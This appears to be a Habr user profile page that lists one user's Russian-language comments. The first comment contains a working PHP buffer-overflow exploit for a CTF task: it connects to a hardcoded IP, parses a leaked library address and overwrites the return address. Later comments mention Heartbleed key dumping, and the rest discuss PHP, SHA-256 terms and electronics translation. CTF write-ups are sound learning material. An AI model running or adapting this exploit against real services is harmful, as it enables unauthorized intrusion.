All streams
Search
Write a publication
Pull to refresh
271
0.1
Send message
Кстати, скрипт для «Дружба и братство» на PHP:
PHP говнокод!
<?php

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$result = socket_connect($socket, '79.175.2.85', 8080);

$out = '';

function read($socket)
{
    $step = 0;
    $buf = '';
    while ($out = socket_read($socket, 2048))
    {
        $buf .= $out;
        echo $out;
        if (strpos($buf, 'password') !== false)
        {
            if ($step == 0)
            {
                $in = str_repeat(1, 30) . "\n";
                $step++;
            } elseif ($step == 1)
            {
                preg_match('/\/home\/srv\/libtest.so\(StartTest\+0xd0\) \[0x([a-zA-Z0-9]+)\]/', $buf, $matches);
                $address = $matches[1];
                echo "Address: $address\n";

                // 7eff4c9d4dd4
                $newAddress = '0000' . substr($address, 0, strlen($address) - 3) . 'bf5';
                echo "New address: $newAddress\n";

                // 32 buffer + 8 byte rbp + new return
                $in = str_repeat(1, 40) . strrev(pack('H*', $newAddress)) . "\n";
                $step++;
            } elseif ($step == 2)
            {
                $in = str_repeat(1, 30) . "\n";
                $step++;
            } else
                $in = str_repeat(1, 14) . "\n";
            echo "Send $in";
            socket_write($socket, $in, strlen($in));
            $buf = '';
        }
    }
    return $buf;
}

read($socket);

socket_close($socket);

Вот это у меня был провал с RSA, сразу было видно что это процесс подписи RSA, особенно в dex-ассемблере.
Но я упорно вбивал 25e6f77c39943f83d1d2f8770a1a79, а не 025e6f77c39943f83d1d2f8770a1a79.
Ужас.

raSSLedovanie, имхо, было проще расковырять. Насколько я помню, строки там шифровались, но как-то тупо, и простой IDA script в 5 строчек всё показывал.

Еще жаль что не дожал SSL-дамп. HeartBleed очевиден был, но вот какой-то левый Pyhton-скрипт не смог мне сдампить private key, хотя и обещал. Metasplot'а не стояло.
Те же мысли.
Может ожидается какое-то красивое ООП? Ну вроде как ручками listKey пробрасывать неудобно, можно «класс»-обертку соорудить, которая бы еще и автоматом бы примешивала эти внутренние свойства (prev / next). Можно, к примеру, еще и допилить чтобы имена этих internal-полей были не жёстко захаркожены, а подстраивались, в случае если у исходного объекта они уже есть (банально перебираем __prev_X, скажем, а чтобы опознать, что это наше internal-поле, можно и наше magic-значение записать).

Если «Во-первых, внимательный читатель уже догадался, что организаторы хотят увидеть прежде всего бенчмарк» действительно так, то это немножко меняет дело, но не сильно.
Тем более, по бенчмарку тоже есть вопросы.

В общем, набросаю на выходных как для меня всё это выглядит, посмотрим.
> Здесь, очевидно, имеется в виду непосредственное участие одного и того же узла в двух и более списках
Очевидно?

Оригинал «and does not allow list parent to hold two or more different lists in the parent list object».
Что такое «list parent» я вообще не имею понятия, «list head» или «list previous node» еще можно понять. Возможно сам объект списка?
Может быть действительно дело в том, что узлы могут принадлежать только одному списку, но мне это не совсем ясно даже из оригинала. Типа list parent — объект, к которому «примешана» возможность работы в списках.

Видимо самостоятельно анализировать требования у меня не выходит :)
Каким образом isset() нарушает принципы инкапсуляции?

Не спорю, что красивая архитектура зачастую влечёт за собой большее число абстракций и больше кода, но в данном случае я в упор не вижу, чем пример с замыканием лучше использования isset().
А раз не видно других отличий, то логично уделить внимание читаемости кода, не?
Да, признаю, куда удобнее лепить многословное php-замыкание (небось еще и замкнуть внешние переменные придётся через use), чем написать простой one-liner.
Ну как сказать, внешние данные же принимать как-то нужно.
В том числе и опциональные. И не всегда можно обойтись указанием $default в $request->param().
+ данные моделей тоже могут быть необязательными.
Да это-то понятно, но тем не менее писать
$blablabla ?? $default ?? 'None'

приятнее чем
isset($blablabla) ? $blablabla : (isset($default) ? $default : 'None')
?? джва десять лет ждал :)
Делали конечно, ради шутки, такой же как и ручной майнинг.
Производительность никакая. Развитие майнинга было примерно такое: cpu -> gpu -> fpga -> asic. Слабенькие 1-2, даже 4-8, ядерные микроконтроллеры сюда никак не вписываются.
Ну в переводе много вольностей, да. Но не в этом случае.
Я, действительно, не стал использовать слово «блок» в четвёртом смысле (биткойн-блок, алгоритмический блок, блок данных).
Но в русской терминологии эти блоки A..H, которыми оперирует криптографический алгоритм, называют именно словами, блоки это другое, размер блока для SHA-256 — 512бит, но размер слова — 32 бита.
За примером ходить далеко не надо, откройте вики по SHA-2.
«дополнения разбивается на блоки, каждый блок — на 16 слов.», «На каждой итерации 2 слова преобразуются, функцию преобразования задают остальные слова».

Термина «буквы» никогда не встречал в таком контексте.
Криптографию на гиктаймс? Не думаю.
Ну я и сам матерился местами, когда референсный код даже не совпадает местами с даташитом.
Но всё равно думаю, что, скажем, увлекаться переписыванием какого-нибудь софтового USB-стека или tcp/ip-стека не следует.
Только велосипеды, только хардкор!
Насколько я понимаю, многое зависит от качества компилятора.
Помню какой это ад был с программированием ресурсоёмких приложений под Itanium. Я уже оставлял платформу, когда компилятор стал выдавать более-менее вменяемый код.
Как у вас в этом направлении?
Ну да, в это-то вся и соль использования конденсатора такой нетипичной конструкции на данном участке цепи — константное напряжение.
В статье этот момент вскользь упомянут. Если бы напряжение менялось бы, то и инверсный слой гулял бы, что явно мешало бы стабильности.
Только приветствую.
1. «Бандгап», в начале я посчитал излишним писать такие длинные названия, тем более если люди не знают что такое бандгап, то не думаю, что ваш «схема, называемая источником напряжения, равного ширине запрещенной зоны кремния» будет понятнее :) Я, кстати, использовал пару раз именно канонический термин, а не сленг, но связи между ними не провёл, да. fixed.
2. «а реализации транзистора по-русски называются «вертикальная» и «горизонтальная»» — как в этом фрагменте? «Таким образом, получается горизонтальный бутерброд, вместо обычной вертикальной структуры n-p-n транзисторов.». Это я к тому, что мне знакомы термины, но в данном случае хотелось их разъяснить более понятно. Возможно не получилось.
3. «Металл», «тока» — fixed.
4. «стабилитрон с напряжением запрещённой зоны и с компенсацией температурных воздействий» — согласен.

> не удосужился узнать, как те или иные термины переводятся на русский язык
Отличный вывод по тому, что я использовал сленговое бандгап вместо разворачивание термина в русскую простыню.

PS: русские термины, я действительно не очень здорово знаю, англоязычные более привычны. Тем не менее кроме спорного бандгапа, не думаю, что есть серьезные отступления от терминологии. Я обычно старался проверять перевод, забивая варианты в гугл и смотря релевантны ли страницы. Но в любом случае, постараюсь учесть.
Пересёкся с Кеном по одному вопросу, а потом зашёл в его блог, а там статьи интересные ;)
Выбрал пачку на перевод (~20, большая часть как раз про reverse-engineering), буду пилить потихоньку.

Information

Rating
2,998-th
Location
Красноярск, Красноярский край, Россия
Registered
Activity